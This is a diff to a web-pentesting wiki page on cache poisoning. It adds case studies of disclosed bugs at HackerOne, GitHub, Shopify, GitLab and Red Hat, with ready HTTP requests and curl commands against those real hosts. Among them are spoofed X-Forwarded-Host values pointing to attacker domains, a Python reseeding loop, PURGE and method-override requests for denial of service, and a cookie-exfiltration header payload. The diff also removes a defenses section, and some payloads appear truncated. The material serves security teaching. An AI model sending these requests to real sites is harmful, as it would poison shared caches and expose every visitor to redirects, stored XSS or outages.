diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md
index 506efe1f3de..8d824a7fa02 100644
--- a/src/pentesting-web/cache-deception/README.md
+++ b/src/pentesting-web/cache-deception/README.md
@@ -61,6 +61,108 @@ One more header related to the cache is **`Age`**. It defines the times in secon
When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working.
+### Foundational cache poisoning case studies
+
+#### HackerOne global redirect via `X-Forwarded-Host`
+
+- The origin templated redirects and canonical URLs with `X-Forwarded-Host`, but the cache key only used the `Host` header, so a single response poisoned every visitor to `/`.
+- Poison with:
+
+```http
+GET / HTTP/1.1
+Host: hackerone.com
+X-Forwarded-Host: evil.com
+```
+
+- Immediately re-request `/` without the spoofed header; if the redirect persists you have a global host-spoofing primitive that often upgrades reflected redirects/Open Graph links into stored issues.
+
+#### GitHub repository DoS via `Content-Type` + `PURGE`
+
+- Anonymous traffic was keyed only on path, while the backend entered an error state when it saw an unexpected `Content-Type`. That error response was cacheable for every unauthenticated user of a repo.
+- GitHub also (accidentally) honored the `PURGE` verb, letting the attacker flush a healthy entry and force caches to pull the poisoned variant on demand:
+
+```bash
+curl -H "Content-Type: invalid-value" https://github.com/user/repo
+curl -X PURGE https://github.com/user/repo
+```
+
+- Always compare authenticated vs anonymous cache keys, fuzz rarely keyed headers such as `Content-Type`, and probe for exposed cache-maintenance verbs to automate re-poisoning.
+
+#### Shopify cross-host persistence loops
+
+- Multi-layer caches sometimes require multiple identical hits before committing a new object. Shopify reused the same cache across numerous localized hosts, so persistence meant impact on many properties.
+- Use short automation loops to repeatedly reseed:
+
+```python
+import requests, time
+for i in range(100):
+ requests.get("https://shop.shopify.com/endpoint",
+ headers={"X-Forwarded-Host": "attacker.com"})
+ time.sleep(0.1)
+print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text)
+```
+
+- After a `hit` response, crawl other hosts/assets that share the same cache namespace to demonstrate cross-domain blast radius.
+
+#### JS asset redirect → stored XSS chain
+
+- Private programs often host shared JS such as `/assets/main.js` across dozens of subdomains. If `X-Forwarded-Host` influences redirect logic for those assets but is unkeyed, the cached response becomes a 301 to attacker JS, yielding stored XSS everywhere the asset is imported.
+
+```http
+GET /assets/main.js HTTP/1.1
+Host: target.com
+X-Forwarded-Host: attacker.com
+```
+
+- Map which hosts reuse the same asset path so you can prove multi-subdomain compromise.
+
+#### GitLab static DoS via `X-HTTP-Method-Override`
+
+- GitLab served static bundles from Google Cloud Storage, which honors `X-HTTP-Method-Override`. Overriding GET to HEAD returned a cacheable `200 OK` with `Content-Length: 0`, and the edge cache ignored the HTTP method when generating the key.
+
+```http
+GET /static/app.js HTTP/1.1
+Host: gitlab.com
+X-HTTP-Method-Override: HEAD
+```
+
+- A single request replaced the JS bundle with an empty body for every GET, effectively DoSing the UI. Always test method overrides (`X-HTTP-Method-Override`, `X-Method-Override`, etc.) against static assets and confirm whether the cache varies on method.
+
+#### HackerOne static asset loop via `X-Forwarded-Scheme`
+
+- Rails’ Rack middleware trusted `X-Forwarded-Scheme` to decide whether to enforce HTTPS. Spoofing `http` against `/static/logo.png` triggered a cacheable 301 so all users subsequently received redirects (or loops) instead of the asset:
+
+```http
+GET /static/logo.png HTTP/1.1
+Host: hackerone.com
+X-Forwarded-Scheme: http
+```
+
+- Combine scheme spoofing with host spoofing when possible to craft irreversible redirects for highly visible resources.
+
+#### Cloudflare host-header casing mismatch
+
+- Cloudflare normalized the `Host` header for cache keys but forwarded the raw casing to origins. Sending `Host: TaRgEt.CoM` triggered alternate behavior in origin routing/templating while still populating the canonical lowercase cache bucket.
+
+```http
+GET / HTTP/1.1
+Host: TaRgEt.CoM
+```
+
+- Enumerate CDN tenants by replaying mixed-case hosts (and other normalized headers) and diff the cached response versus the origin response to uncover shared-platform cache poisonings.
+
+#### Red Hat Open Graph meta poisoning
+
+- Injecting `X-Forwarded-Host` inside Open Graph tags turned a reflected HTML injection into a stored XSS once the CDN cached the page. Use a harmless cache buster during testing to avoid harming production users:
+
+```http
+GET /en?dontpoisoneveryone=1 HTTP/1.1
+Host: www.redhat.com
+X-Forwarded-Host: a."?>
+```
+
+- Social media scrapers consume cached Open Graph tags, so a single poisoned entry distributes the payload far beyond direct visitors.
+
## Exploiting Examples
### Easiest example
@@ -194,7 +296,7 @@ Practical recipe (observed across a popular CDN/WAF):
Example header payload (to exfiltrate non-HttpOnly cookies):
-```
+```http
User-Agent: Mo00ozilla/5.0"
```
@@ -208,17 +310,12 @@ Impact:
- If session cookies aren’t `HttpOnly`, zero-click ATO is possible by mass-exfiltrating `document.cookie` from all users who are served the poisoned HTML.
-Defenses:
-
-- Stop reflecting request headers into HTML; strictly context-encode if unavoidable. Align CDN and origin cache policies and avoid varying on untrusted headers.
-- Ensure WAF applies content inspection consistently to `.js` requests and static paths.
-- Set `HttpOnly` (and `Secure`, `SameSite`) on session cookies.
### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the `Sitecore.Shell.Xaml.WebControl` handler is reached, an `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) is available and the following reflective call is allowed:
-```
+```http
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
@@ -239,18 +336,6 @@ For full details (cache key construction, ItemService enumeration and a chained
ATS forwarded the fragment inside the URL without stripping it and generated the cache key only using the host, path and query (ignoring the fragment). So the request `/#/../?r=javascript:alert(1)` was sent to the backend as `/#/../?r=javascript:alert(1)` and the cache key didn't have the payload inside of it, only host, path and query.
-### GitHub CP-DoS
-
-Sending a bad value in the content-type header triggered a 405 cached response. The cache key contained the cookie so it was possible only to attack unauth users.
-
-### GitLab + GCP CP-DoS
-
-GitLab uses GCP buckets to store static content. **GCP Buckets** support the **header `x-http-method-override`**. So it was possible to send the header `x-http-method-override: HEAD` and poison the cache into returning an empty response body. It could also support the method `PURGE`.
-
-### Rack Middleware (Ruby on Rails)
-
-In Ruby on Rails applications, Rack middleware is often utilized. The purpose of the Rack code is to take the value of the **`x-forwarded-scheme`** header and set it as the request's scheme. When the header `x-forwarded-scheme: http` is sent, a 301 redirect to the same location occurs, potentially causing a Denial of Service (DoS) to that resource. Additionally, the application might acknowledge the `X-forwarded-host` header and redirect users to the specified host. This behavior can lead to the loading of JavaScript files from an attacker's server, posing a security risk.
-
### 403 and Storage Buckets
Cloudflare previously cached 403 responses. Attempting to access S3 or Azure Storage Blobs with incorrect Authorization headers would result in a 403 response that got cached. Although Cloudflare has stopped caching 403 responses, this behavior might still be present in other proxy services.
@@ -376,7 +461,6 @@ Validation checklist
- Confirm the authenticated header is present on the retargeted request (e.g., in a proxy or via server-side logs) and that the CDN caches the response under the traversed path.
- From a fresh context (no auth), request the same path and confirm the secret JSON is served from cache.
-
## Automatic Tools
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.
@@ -396,6 +480,7 @@ Validation checklist
- [CSPT overview by Matan Berson](https://matanber.com/blog/cspt-levels/)
- [CSPT presentation by Maxence Schmitt](https://www.youtube.com/watch?v=O1ZN_OCfNzg)
- [PortSwigger: Web Cache Deception](https://portswigger.net/web-security/web-cache-deception)
+- [Cache Poisoning Case Studies Part 1: Foundational Attacks Behind a $100K+ Vulnerability Class](https://herish.me/blog/cache-poisoning-case-studies-part-1-foundational-attacks/)